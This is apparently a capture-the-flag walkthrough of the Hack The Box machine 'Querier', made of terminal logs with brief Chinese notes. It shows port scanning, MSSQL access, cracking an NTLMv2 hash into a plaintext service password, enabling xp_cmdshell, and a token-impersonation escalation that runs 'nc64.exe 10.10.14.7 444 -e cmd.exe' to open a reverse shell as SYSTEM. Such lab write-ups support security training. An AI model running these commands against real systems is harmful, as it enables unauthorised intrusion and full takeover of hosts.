┌──(mikannse㉿kali)-[~] └─$ sudo nmap --min-rate=10000 -p- 10.10.10.125 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-08 20:29 CST Warning: 10.10.10.125 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.10.125 Host is up (0.070s latency). Not shown: 64291 closed tcp ports (reset), 1230 filtered tcp ports (no-response) PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1433/tcp open ms-sql-s 5985/tcp open wsman 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49668/tcp open unknown 49669/tcp open unknown 49670/tcp open unknown 49671/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 18.08 seconds
┌──(mikannse㉿kali)-[~] └─$ sudo nmap -sT -sV -sC -O -p135,139,445,1433,5985,47001 10.10.10.125 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-08 20:31 CST Nmap scan report for 10.10.10.125 Host is up (0.066s latency).
PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM |_ssl-date: 2024-09-08T12:21:51+00:00; -10m13s from scanner time. | ms-sql-info: | 10.10.10.125:1433: | Version: | name: Microsoft SQL Server 2017 RTM | number: 14.00.1000.00 | Product: Microsoft SQL Server 2017 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 | ms-sql-ntlm-info: | 10.10.10.125:1433: | Target_Name: HTB | NetBIOS_Domain_Name: HTB | NetBIOS_Computer_Name: QUERIER | DNS_Domain_Name: HTB.LOCAL | DNS_Computer_Name: QUERIER.HTB.LOCAL | DNS_Tree_Name: HTB.LOCAL |_ Product_Version: 10.0.17763 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-09-08T12:10:36 |_Not valid after: 2054-09-08T12:10:36 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Microsoft Windows Server 2019 (96%), Microsoft Windows Server 2012 (93%), Microsoft Windows Vista SP1 (93%), Microsoft Windows 10 1709 - 1909 (93%), Microsoft Windows Longhorn (92%), Microsoft Windows 10 1709 - 1803 (91%), Microsoft Windows 10 1809 - 2004 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 Update 1 (91%), Microsoft Windows Server 2016 build 10586 - 14393 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 26.36 seconds
开了smb和mssql
MSSQL
┌──(mikannse㉿kali)-[~] └─$ smbclient -L //10.10.10.125/ Password for [WORKGROUP\mikannse]:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC Reports Disk Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.10.10.125 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
Password: [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(QUERIER): Line 1: Changed database context to 'volume'. [*] INFO(QUERIER): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (140 3232) [!] Press help for extra shell commands SQL (QUERIER\reporting reporting@volume)>
SQL (QUERIER\reporting reporting@volume)> SELECT name FROM master.dbo.sysdatabases; name ------ master
tempdb
model
msdb
volume
查了一下volume库什么都没有,现在的身份也无法执行xp_cmdshell
SQL (QUERIER\reporting guest@master)> Use master [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] INFO(QUERIER): Line 1: Changed database context to 'master'. SQL (QUERIER\reporting guest@master)> EXEC sp_helprotect 'xp_cmdshell' ERROR: Line 291: There are no matching rows on which to report.
┌──(mikannse㉿kali)-[~/HTB/querier] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status corporate568 (mssql-svc) 1g 0:00:00:03 DONE (2024-09-08 21:23) 0.2967g/s 2658Kp/s 2658Kc/s 2658KC/s correemilio..cornamona Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed.
SQL (QUERIER\mssql-svc dbo@master)> Use master [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] INFO(QUERIER): Line 1: Changed database context to 'master'. SQL (QUERIER\mssql-svc dbo@master)> EXEC sp_helprotect 'xp_cmdshell' ERROR: Line 291: There are no matching rows on which to report.
发现xm_cmdshell还没开启，可以使用下面着一句话开启
SQL (QUERIER\mssql-svc dbo@master)> EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; [*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install. [*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
User Name SID ================= ============================================== querier\mssql-svc S-1-5-21-3654930405-3667393904-3517260747-1001
GROUP INFORMATION -----------------
Group Name Type SID Attributes ==================================== ================ =============================================================== ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Performance Monitor Users Alias S-1-5-32-558 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group NT SERVICE\MSSQLSERVER Well-known group S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003 Enabled by default, Enabled group, Group owner LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
C:\Users\mssql-svc\Desktop>.\print.exe -c ".\nc64.exe 10.10.14.7 444 -e cmd.exe" .\print.exe -c ".\nc64.exe 10.10.14.7 444 -e cmd.exe" [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK
┌──(mikannse㉿kali)-[~/HTB/querier] └─$ rlwrap -cAr nc -lvnp 444 listening on [any] 444 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.125] 49694 Microsoft Windows [Version 10.0.17763.292] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami whoami nt authority\system
